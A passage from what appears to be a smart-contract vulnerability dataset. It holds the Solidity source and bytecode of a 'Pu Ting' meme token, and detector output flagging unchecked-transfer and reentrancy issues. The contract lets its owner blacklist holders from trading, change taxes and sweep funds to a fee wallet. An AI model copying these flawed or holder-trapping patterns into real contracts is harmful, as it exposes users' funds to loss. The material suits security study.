}
}
|
0x60806040526004361061014f5760003560e01c80636e0ca4aa116100b6578063b25ec61b1161006f578063b25ec61b146103c5578063c39fee71146103db578063d0e30db0146103f1578063e4fe15d4146103f9578063f2fde38b14610423578063fc0c546a1461044357600080fd5b80636e0ca4aa14610312578063715018a6146103325780638910c092146103475780638d814a8c1461035d5780638da5cb5b1461037d578063981e21c9146103af57600080fd5b806337117b7f1161010857806337117b7f1461027b57806338583d07146102915780633ccfd60b146102a75780633f81aad1146102bc5780634e004706146102dc57806351c61df2146102fc57600080fd5b8063039af9eb146101635780630b895c51146101b15780630c04940c146101c65780631959a002146101e657806327a910dc146102425780632cb713221461025757600080fd5b3661015e5761015c610463565b005b600080fd5b34801561016f57600080fd5b5061019761017e366004611140565b6002602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b3480156101bd57600080fd5b5061015c6107c5565b3480156101d257600080fd5b5061015c6101e1366004611159565b6108f5565b3480156101f257600080fd5b50610225610201366004611185565b60036020526000908152604090208054600182015460029092015490919060ff1683565b6040805193845260208401929092521515908201526060016101a8565b34801561024e57600080fd5b5061015c61097f565b34801561026357600080fd5b5061026d60085481565b6040519081526020016101a8565b34801561028757600080fd5b5061026d60065481565b34801561029d57600080fd5b5061026d600a5481565b3480156102b357600080fd5b5061015c610a7a565b3480156102c857600080fd5b5061015c6102d7366004611185565b610d33565b3480156102e857600080fd5b5061015c6102f73660046111bc565b610d7f565b34801561030857600080fd5b5061026d600b5481565b34801561031e57600080fd5b5061015c61032d3660046111d9565b610dbc565b34801561033e57600080fd5b5061015c610e00565b34801561035357600080fd5b5061026d60075481565b34801561036957600080fd5b5061015c61037836600461121c565b610e74565b34801561038957600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101a8565b3480156103bb57600080fd5b5061026d60095481565b3480156103d157600080fd5b5061026d60045481565b3480156103e757600080fd5b5061026d60055481565b61015c610463565b34801561040557600080fd5b50600c546104139060ff1681565b60405190151581526020016101a8565b34801561042f57600080fd5b5061015c61043e366004611185565b610f14565b34801561044f57600080fd5b50600154610397906001600160a01b031681565b3360009081526003602052604090205460095442108015906104875750600a544211155b6104d85760405162461bcd60e51b815260206004820152601f60248201527f50726573616c65206973206e6f742061637469766520746869732074696d650060448201526064015b60405180910390fd5b600c5460ff166105ca576000811161054b5760405162461bcd60e51b815260206004820152603060248201527f546869732077616c6c6574206973206e6f7420616c6c6f77656420746f206a6f60448201526f1a5b881d1a19481b185d5b98da1c185960821b60648201526084016104cf565b60008181526002602052604090206001015434101561057c5760405162461bcd60e51b81526004016104cf90611297565b6000818152600260209081526040808320543384526003909252909120600101546105a79034610ffe565b11156105c55760405162461bcd60e51b81526004016104cf906112df565b610671565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077c543410156106145760405162461bcd60e51b81526004016104cf90611297565b7fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54336000908152600360205260409020600101546106539034610ffe565b11156106715760405162461bcd60e51b81526004016104cf906112df565b6008546005546106819034610ffe565b11156106c15760405162461bcd60e51b815260206004820152600f60248201526e045786365656420484152442043415608c1b60448201526064016104cf565b336000908152600360205260409020600101546106de9034610ffe565b336000908152600360205260409020600101556005546106fe9034610ffe565b6005819055506107bf670de0b6b3a76400006107b9600160009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107999190611320565b6107a490600a61143d565b6006546005546107b391611066565b90611066565b906110e5565b60045550565b6000546001600160a01b031633146107ef5760405162461bcd60e51b81526004016104cf9061144c565b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561083c57600080fd5b505afa158015610850573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108749190611481565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f2919061149a565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016104cf9061144c565b60038311156109645760405162461bcd60e51b8152602060048201526011602482015270546865726520617265203320746965727360781b60448201526064016104cf565b60009283526002602052604090922060018101929092559055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104cf9061144c565b600a5442116109fa5760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e6973686564207965740000000060448201526064016104cf565b6007546005541015610a4e5760405162461bcd60e51b815260206004820152601a60248201527f50726573616c65206469646e27742068697420736f667463617000000000000060448201526064016104cf565b60405133904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600a544211610acb5760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e6973686564207965740000000060448201526064016104cf565b3360009081526003602052604090206002015460ff1615610b225760405162461bcd60e51b8152602060048201526011602482015270416c726561647920776974686461776e2160781b60448201526064016104cf565b6007546005541015610ba1573360009081526003602052604090206001015415610b9f573360008181526003602052604080822060010154905181156108fc0292818181858888f19350505050158015610b80573d6000803e3d6000fd5b50336000908152600360205260409020600201805460ff191660011790555b565b600b544211610bf25760405162461bcd60e51b815260206004820152601f60248201527f506c6561736520636865636b20746f6b656e2072656c656173652074696d650060448201526064016104cf565b6001546040805163313ce56760e01b815290516001600160a01b039092169163a9059cbb913391610cb591670de0b6b3a7640000916107b991879163313ce56791600480820192602092909190829003018186803b158015610c5357600080fd5b505afa158015610c67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8b9190611320565b610c9690600a61143d565b600654336000908152600360205260409020600101546107b391611066565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610cfb57600080fd5b505af1158015610d0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b80919061149a565b6000546001600160a01b03163314610d5d5760405162461bcd60e51b81526004016104cf9061144c565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610da95760405162461bcd60e51b81526004016104cf9061144c565b600c805460ff1916911515919091179055565b6000546001600160a01b03163314610de65760405162461bcd60e51b81526004016104cf9061144c565b600692909255600755600855600992909255600a55600b55565b6000546001600160a01b03163314610e2a5760405162461bcd60e51b81526004016104cf9061144c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610e9e5760405162461bcd60e51b81526004016104cf9061144c565b60048110610eab57600080fd5b60005b82811015610f0e578160036000868685818110610ecd57610ecd6114b7565b9050602002016020810190610ee29190611185565b6001600160a01b0316815260208101919091526040016000205580610f06816114cd565b915050610eae565b50505050565b6000546001600160a01b03163314610f3e5760405162461bcd60e51b81526004016104cf9061144c565b6001600160a01b038116610fa35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104cf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061100b83856114e8565b90508381101561105d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b90505b92915050565b60008261107557506000611060565b60006110818385611500565b90508261108e858361151f565b1461105d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b60008082116111365760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016104cf565b61105d828461151f565b60006020828403121561115257600080fd5b5035919050565b60008060006060848603121561116e57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561119757600080fd5b81356001600160a01b038116811461105d57600080fd5b80151581146108f257600080fd5b6000602082840312156111ce57600080fd5b813561105d816111ae565b60008060008060008060c087890312156111f257600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60008060006040848603121561123157600080fd5b833567ffffffffffffffff8082111561124957600080fd5b818601915086601f83011261125d57600080fd5b81358181111561126c57600080fd5b8760208260051b850101111561128157600080fd5b6020928301989097509590910135949350505050565b60208082526028908201527f506c6561736520636865636b206d696e696d756d20616d6f756e7420636f6e746040820152673934b13aba34b7b760c11b606082015260800190565b60208082526021908201527f436865636b206d617820636f6e747269627574696f6e207065722077616c6c656040820152601d60fa1b606082015260800190565b60006020828403121561133257600080fd5b815160ff8116811461105d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561139457816000190482111561137a5761137a611343565b8085161561138757918102915b93841c939080029061135e565b509250929050565b6000826113ab57506001611060565b816113b857506000611060565b81600181146113ce57600281146113d8576113f4565b6001915050611060565b60ff8411156113e9576113e9611343565b50506001821b611060565b5060208310610133831016604e8410600b8410161715611417575081810a611060565b6114218383611359565b806000190482111561143557611435611343565b029392505050565b600061105d60ff84168361139c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561149357600080fd5b5051919050565b6000602082840312156114ac57600080fd5b815161105d816111ae565b634e487b7160e01b600052603260045260246000fd5b60006000198214156114e1576114e1611343565b5060010190565b600082198211156114fb576114fb611343565b500190565b600081600019048311821515161561151a5761151a611343565b500290565b60008261153c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220d60bca17179f0baf7bf18719dda2c8999d807f033a37f9f4ecb0e5287dac62ef64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,306 |
0x26afa04ea1ada35d8df54ee26f7dd9136a7441cb
|
/**
*Submitted for verification at Etherscan.io on 2022-02-21
*/
/*
This war is nuking eveything, Lets make $Pu Ting Square up and make up for it
Telegram: https://t.me/putingofficial
100% Fair STEALTH LAUNCH
Initial LP: 4 ETH
Max Buy : 4% or 4,000,000,000
Total Supply : 1,000,000,000,000
Tax : 12%
2% Reflections
8% Buyback/ Buy Competitions/Promotions/Growth
2% Charity to Charity
SLippage: 12% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract putingtoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Pu Ting";
string private constant _symbol = "Pu Ting";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x9e062948f64c7690163e7cBF7FBBd81CE424A081);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 40_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 40_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461015c5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b806323b872dd116100f257806323b872dd14610211578063273123b714610231578063313ce567146102515780636fc3eaec1461026d57806370a082311461028257600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611848565b6103e4565b005b34801561016857600080fd5b50604080518082018252600781526650752054696e6760c81b6020820152905161019291906118c5565b60405180910390f35b3480156101a757600080fd5b506101bb6101b6366004611756565b610435565b6040519015158152602001610192565b3480156101d757600080fd5b50683635c9adc5dea000005b604051908152602001610192565b3480156101fd57600080fd5b5061015a61020c366004611880565b61044c565b34801561021d57600080fd5b506101bb61022c366004611716565b610490565b34801561023d57600080fd5b5061015a61024c3660046116a6565b6104f9565b34801561025d57600080fd5b5060405160098152602001610192565b34801561027957600080fd5b5061015a610544565b34801561028e57600080fd5b506101e361029d3660046116a6565b610578565b3480156102ae57600080fd5b5061015a61059a565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102eb57600080fd5b5061015a61060e565b34801561030057600080fd5b506101bb61030f366004611756565b61084d565b34801561032057600080fd5b5061015a61032f366004611781565b61085a565b34801561034057600080fd5b5061015a6108fe565b34801561035557600080fd5b5061015a61093e565b34801561036a57600080fd5b5061015a610379366004611880565b610b07565b34801561038a57600080fd5b5061015a610399366004611880565b610b3f565b3480156103aa57600080fd5b506101e36103b93660046116de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611918565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610442338484610b77565b5060015b92915050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161040e90611918565b68022b1c8c1227a0000081111561048d5760108190555b50565b600061049d848484610c9b565b6104ef84336104ea85604051806060016040528060288152602001611a96602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f92565b610b77565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161040e90611918565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161040e90611918565b4761048d81610fcc565b6001600160a01b03811660009081526002602052604081205461044690611006565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161040e90611918565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161040e90611918565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a91906116c2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906116c2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906116c2565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610442338484610c9b565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161040e90611918565b60005b81518110156108fa576001600660008484815181106108b657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f281611a2b565b915050610887565b5050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161040e90611918565b600061093330610578565b905061048d8161108a565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161040e90611918565b600e546109899030906001600160a01b0316683635c9adc5dea00000610b77565b600e546001600160a01b031663f305d71947306109a581610578565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a569190611898565b5050600f805468022b1c8c1227a0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610acf57600080fd5b505af1158015610ae3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d9190611864565b6000546001600160a01b03163314610b315760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600b55565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600c55565b6001600160a01b038316610bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040e565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040e565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040e565b60008111610dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b6001600160a01b03831660009081526006602052604090205460ff1615610de957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2b57506001600160a01b03821660009081526005602052604090205460ff16155b15610f82576000600955600c54600a55600f546001600160a01b038481169116148015610e665750600e546001600160a01b03838116911614155b8015610e8b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea05750600f54600160b81b900460ff165b15610eb457601054811115610eb457600080fd5b600f546001600160a01b038381169116148015610edf5750600e546001600160a01b03848116911614155b8015610f0457506001600160a01b03831660009081526005602052604090205460ff16155b15610f15576000600955600b54600a555b6000610f2030610578565b600f54909150600160a81b900460ff16158015610f4b5750600f546001600160a01b03858116911614155b8015610f605750600f54600160b01b900460ff165b15610f8057610f6e8161108a565b478015610f7e57610f7e47610fcc565b505b505b610f8d83838361122f565b505050565b60008184841115610fb65760405162461bcd60e51b815260040161040e91906118c5565b506000610fc38486611a14565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fa573d6000803e3d6000fd5b600060075482111561106d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040e565b600061107761123a565b9050611083838261125d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113457600080fd5b505afa158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c91906116c2565b8160018151811061118d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b39130911684610b77565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ec90859060009086903090429060040161194d565b600060405180830381600087803b15801561120657600080fd5b505af115801561121a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8d83838361129f565b6000806000611247611396565b9092509050611256828261125d565b9250505090565b600061108383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d8565b6000806000806000806112b187611406565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e39087611463565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131290866114a5565b6001600160a01b03891660009081526002602052604090205561133481611504565b61133e848361154e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113b2828261125d565b8210156113cf57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113f95760405162461bcd60e51b815260040161040e91906118c5565b506000610fc384866119d5565b60008060008060008060008060006114238a600954600a54611572565b925092509250600061143361123a565b905060008060006114468e8787876115c7565b919e509c509a509598509396509194505050505091939550919395565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e20